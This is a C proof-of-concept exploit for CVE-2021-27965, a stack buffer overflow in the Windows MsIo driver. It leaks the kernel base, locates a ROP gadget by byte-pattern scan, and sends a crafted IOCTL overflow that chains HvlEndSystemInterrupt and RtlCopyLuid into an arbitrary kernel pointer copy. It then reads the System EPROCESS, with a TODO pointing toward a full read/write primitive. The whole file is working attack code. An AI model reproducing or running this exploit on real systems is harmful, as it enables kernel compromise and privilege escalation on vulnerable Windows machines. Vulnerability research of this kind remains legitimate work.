//include NtDll SDK #include "D:\work\SDK\ntdll.h" #pragma comment(lib, "ntdll.lib") //include windows SDK and stdio for logging #include #include //print error message, wait for enter and terminate void __declspec(noreturn) error(const char* szErr) { printf("[-] %s\n", szErr); getchar(); exit(-1); } //acquire base address of ntoskrnl.exe module in kernel space PCHAR GetNtOsKrnlBase(void) { //get required size of SystemModuleInformation array DWORD dwSize = 0; if (NtQuerySystemInformation(SystemModuleInformation, nullptr, dwSize, &dwSize) != STATUS_INFO_LENGTH_MISMATCH) error("Cannot get length of system module list array"); //alloc mem for system modules PRTL_PROCESS_MODULES pSystemModules = (PRTL_PROCESS_MODULES)malloc(dwSize); if (!pSystemModules) error("Cannot allocate memory for system module list"); //query system modules if (!NT_SUCCESS(NtQuerySystemInformation(SystemModuleInformation, pSystemModules, dwSize, &dwSize))) error("Cannot get system module list"); DWORD dwCount = pSystemModules->NumberOfModules; printf("[+] Found %d system modules\n", dwCount); //for each system module check its full path name for substring "ntoskrnl.exe" for (DWORD i = 0; i < dwCount; i++) { if (strstr((const char*)pSystemModules->Modules[i].FullPathName, "ntoskrnl.exe")) { //now get the image base addr PCHAR pBase = (PCHAR)pSystemModules->Modules[i].ImageBase; printf("[+] Found ntoskrnl.exe at 0x%p\n", pBase); //free system module list and return leaked base address free(pSystemModules); return pBase; } } //this shouldn't happen error("Cannot find ntoskrnl.exe in system module list"); } //find array of byte (AoB/pattern) in given memory block DWORD FindAoB(PCHAR pMemBlock, PCHAR pAoB) { DWORD dwLen = 0; //count AoB length while (pAoB[dwLen]) ++dwLen; //loop endlessly in memblock and hope pattern will be found for (DWORD i = 0;; i++) { bool bFound = true; //simple implementation of memcmp(pMemBlock + i, pAoB, dwLen) for (DWORD j = 0; j < dwLen; j++) { if (pMemBlock[i + j] != pAoB[j]) { bFound = false; break; } } //if bFound was not changed, we found it! return offset from pMemBlock if (bFound) return i; } } //hold all important data for submiting overflow data typedef struct { HANDLE hDevice; PCHAR HvlEndSystemInterrupt; PCHAR RtlCopyLuid; PCHAR NtTerminateThread; } OVERFLOW_PARAMS; //return filled struct with all important pointers OVERFLOW_PARAMS* GetOverflowParameters(HMODULE hNtOsKrnl, PCHAR pNtOsKrnl) { //calculate address of RtlCopyLuid in windows kernel (not to confuse with RtlCopyLuid in ntdll - that SMEP would not like) //RtlCopyLuid disassembly: // mov rax, qword ptr[rdx] // mov qword ptr[rcx], rax // ret PCHAR kRtlCopyLuid = (PCHAR)GetProcAddress(hNtOsKrnl, "RtlCopyLuid"); if (!kRtlCopyLuid) error("Cannot get ntoskrnl export RtlCopyLuid"); kRtlCopyLuid += pNtOsKrnl - (PCHAR)hNtOsKrnl; printf("[+] Found RtlCopyLuid at 0x%p\n", kRtlCopyLuid); //calculate address of HvlEndSystemInterrupt ROP gadget, its not exported function so lets AoB scan for it //HvlEndSystemInterrupt+1e disassembly: // pop rdx // pop rax // pop rcx // ret PCHAR HvlEndSystemInterrupt = pNtOsKrnl + FindAoB((PCHAR)hNtOsKrnl, "\x0f\x30\x5a\x58\x59\xc3") - 0x2; printf("[+] Found HvlEndSystemInterrupt gadget at 0x%p\n", HvlEndSystemInterrupt); //find NtTerminateThread in ntoskrnl, its not exported too but since it is changing between versions of kernel a lot, i cannot find AoB for it :( //FIXME: using hardcoded offsets will break cross version compatibility, you need to locate NtTerminateThread manually and update offset here: PCHAR kNtTerminateThread = pNtOsKrnl + 0x7098c0; printf("[+] Found NtTerminateThread at 0x%p\n", kNtTerminateThread); //open handle to vulnerable service HANDLE hDevice = CreateFileW(L"\\\\.\\MsIo", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr); if (hDevice == INVALID_HANDLE_VALUE) error("Cannot open handle to driver, is the service running?"); printf("[+] Opened MsIo control handle 0x%p\n", hDevice); //make OVERFLOW_PARAMS and populate its entries OVERFLOW_PARAMS* pOvParams = (OVERFLOW_PARAMS*)malloc(sizeof(OVERFLOW_PARAMS)); if (pOvParams == nullptr) error("Cannot allocate heap for overflow parameters"); pOvParams->hDevice = hDevice; pOvParams->HvlEndSystemInterrupt = HvlEndSystemInterrupt; pOvParams->RtlCopyLuid = kRtlCopyLuid; pOvParams->NtTerminateThread = kNtTerminateThread; return pOvParams; } #define SYSTEM_BUFFER_SIZE (sizeof(ULONGLONG) * 19) LPVOID g_SystemBuffer; //call vulnerable driver with g_SystemBuffer DWORD WINAPI CallDriver(HANDLE hDevice) { DWORD dwBytesReturned; //submit overflow data to driver, from now there is no returning! if (!DeviceIoControl(hDevice, 0x80102044, &g_SystemBuffer, SYSTEM_BUFFER_SIZE, &g_SystemBuffer, SYSTEM_BUFFER_SIZE, &dwBytesReturned, nullptr)) error("Error in ioctl"); error("Something went wrong because thread returned from ioctl"); } //execute exploit 'driver stack based buffer overflow' by submiting overflow data. result: arbitrary coping of 8 bytes / ptr void CopyKernelPointer(OVERFLOW_PARAMS* pOvParams, void* pDst, PCHAR pSrc) { //alloc heap for overflow data ULONGLONG* OverflowData = (ULONGLONG*)malloc(SYSTEM_BUFFER_SIZE); if (!OverflowData) error("Cannot allocate memory for overflow data"); //craft special ioctl packet to overflow stack based buffer OverflowData[0] = 0x1337133713371337; OverflowData[1] = 0x1337133713371337; OverflowData[2] = 0x1337133713371337; OverflowData[3] = 0x1337133713371337; OverflowData[4] = 0x1337133713371337; OverflowData[5] = 0x1337133713371337; OverflowData[6] = 0x1337133713371337; OverflowData[7] = 0x1337133713371337; OverflowData[8] = 0x1337133713371337; //this will overwrite return address from ioctl dispatch OverflowData[9] = (ULONGLONG)pOvParams->HvlEndSystemInterrupt; OverflowData[10] = (ULONGLONG)pSrc; OverflowData[11] = 0x1337133713371337; OverflowData[12] = (ULONGLONG)pDst; //return address from HvlEndSystemInterrupt OverflowData[13] = (ULONGLONG)pOvParams->RtlCopyLuid; //return address from RtlCopyLuid OverflowData[14] = (ULONGLONG)pOvParams->HvlEndSystemInterrupt; OverflowData[15] = 0x0000000000000000; //STATUS_SUCCESS OverflowData[16] = 0x1337133713371337; OverflowData[17] = 0xFFFFFFFFFFFFFFFE; //NtCurrentThread //return address from HvlEndSystemInterrupt after RtlCopyLuid was called OverflowData[18] = (ULONGLONG)pOvParams->NtTerminateThread; //make pointer to overflow data global variable so the thread we will create can access it g_SystemBuffer = OverflowData; //we cannot directly ioctl the driver because its ioctl dispatch will be invoked in a context of calling thread - and that thread will get terminated //that means CallDriver func is __declspec(noreturn) so we must create a dummy thread that will invoke it for us HANDLE hThread = CreateThread(nullptr, NULL, CallDriver, pOvParams->hDevice, NULL, nullptr); //wait for the thread WaitForSingleObject(hThread, INFINITE); //cleanup CloseHandle(hThread); free(g_SystemBuffer); } //entry of console application DWORD main(DWORD argc, CHAR* argv[]) { //hello world! printf("\n******************************************\n"); printf("CVE-2021-27965 PoC exploit by mathisvickie"); printf("\n******************************************\n\n"); //first, obtain kernel base PCHAR pNtOsKrnl = GetNtOsKrnlBase(); //load ntoskrnl.exe as resource HMODULE hNtOsKrnl = LoadLibraryExW(L"ntoskrnl.exe", nullptr, DONT_RESOLVE_DLL_REFERENCES); if (!hNtOsKrnl) error("Cannot load ntoskrnl.exe"); //calculate system EPROCESS* PCHAR PsInitialSystemProcess = (PCHAR)GetProcAddress(hNtOsKrnl, "PsInitialSystemProcess"); if (!PsInitialSystemProcess) error("Cannot get ntoskrnl export PsInitialSystemProcess"); PsInitialSystemProcess += pNtOsKrnl - (PCHAR)hNtOsKrnl; printf("[+] Found PsInitialSystemProcess at 0x%p\n", PsInitialSystemProcess); //get all needed kernel pointers OVERFLOW_PARAMS* pOvParams = GetOverflowParameters(hNtOsKrnl, pNtOsKrnl); //ntoskrnl resource is no longer needed FreeLibrary(hNtOsKrnl); //get system EPROCESS PCHAR SystemEPROCESS; CopyKernelPointer(pOvParams, &SystemEPROCESS, PsInitialSystemProcess); printf("[+] Found system EPROCESS at 0x%p\n", SystemEPROCESS); getchar(); // ... TODO: continue, now we have CopyKernelPointer which is like read/write primitive free(pOvParams); return 0; }